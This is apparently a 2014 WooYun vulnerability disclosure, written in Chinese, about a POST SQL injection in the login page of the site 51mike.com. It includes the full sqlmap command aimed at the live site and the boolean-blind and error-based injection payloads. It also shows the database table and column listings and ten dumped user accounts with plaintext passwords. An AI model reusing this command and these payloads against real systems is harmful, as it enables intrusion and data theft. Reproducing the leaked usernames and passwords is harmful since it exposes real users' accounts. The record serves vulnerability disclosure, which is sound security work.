乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-10-16: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-11-30: 厂商已经主动忽略漏洞,细节向公众公开
麻麻叫我打酱油 0.0(明文密码存储ヾ(。`Д´。)
主页登录处存在POST注射。http://www.51mike.com/pages/login/login.jsp?from=app&RSRU=http://www.51mike.com/
BurpSuite截包j_username参数加个单引号报错
sqlmap -u "http://www.51mike.com/j_security_check?from=app&RSRU=http://www.51mike.com/" --data "APP=web&topUrl=http%3A%2F%2Fwww.51mike.com%2F&j_username=admin&j_password=admin" -v 1 --level 5 --risk 3 -p "j_username" sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 10:58:39[10:58:39] [INFO] resuming back-end DBMS 'mysql'[10:58:39] [INFO] testing connection to the target URLsqlmap got a 302 redirect to 'http://www.51mike.com/pages/login/login.jsp'. Do you want to follow? [Y/n] nsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: j_username Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: APP=web&topUrl=http://www.51mike.com/&j_username=admin' RLIKE (SELECT (CASE WHEN (9667=9667) THEN 0x61646d696e ELSE 0x28 END)) AND 'YCDj'='YCDj&j_password=admin Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: APP=web&topUrl=http://www.51mike.com/&j_username=admin' AND (SELECT 2015 FROM(SELECT COUNT(*),CONCAT(0x7168647871,(SELECT (CASE WHEN (2015=2015) THEN 1 ELSE 0 END)),0x71726f7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'KxBw'='KxBw&j_password=admin---[10:58:44] [INFO] the back-end DBMS is MySQLweb application technology: JSPback-end DBMS: MySQL 5.0
current database: 'user_51mike'
Database: user_51mike[32 tables]+---------------------------------------+| account || account_goods || account_honor || account_regip || alipay_kmoney_order || bill_kmoney_order || chat_gift_record || city || ebilling_kmoney_order || favorite || goods || honor || honor_info || ips_kmoney_order || jisu_mid || jnet_kmoney_order || kmoney_order || kmoney_recommand || kmoney_traffic || log_honor || paypal_kmoney_order || pk || province || role || snda_kmoney_order || tenpay_kmoney_order || turntable_player || uid_del || user_favorite || userinfo || userrole || usertrack |+---------------------------------------+
Database: user_51mikeTable: account[11 columns]+---------------+--------------+| Column | Type |+---------------+--------------+| br | varchar(45) || charm | bigint(20) || id | bigint(20) || kmoney | bigint(20) || mark | bigint(20) || minor | varchar(45) || password | varchar(255) || popular | bigint(20) || register_date | datetime || role_id | bigint(20) || username | varchar(30) |+---------------+--------------+
获取了十条数据来测试
Database: user_51mikeTable: account[10 entries]+----+----------+-------------+| id | username | password |+----+----------+-------------+| 43 | Knet | shenrui || 44 | Kwang | shenrui || 45 | Forrest | 1 || 48 | Knews | shenrui || 49 | yueyue | 123456 || 51 | johnzhi | 8YJzT8YJzT || 52 | temple | shenrui || 56 | wzgd | 1 || 59 | ee11 | 07533563614 || 62 | yukking | 19820906 |+----+----------+-------------+
额滴神,全是明文……百万用户数据存在泄漏风险,还是明文
过滤
未能联系到厂商或者厂商积极拒绝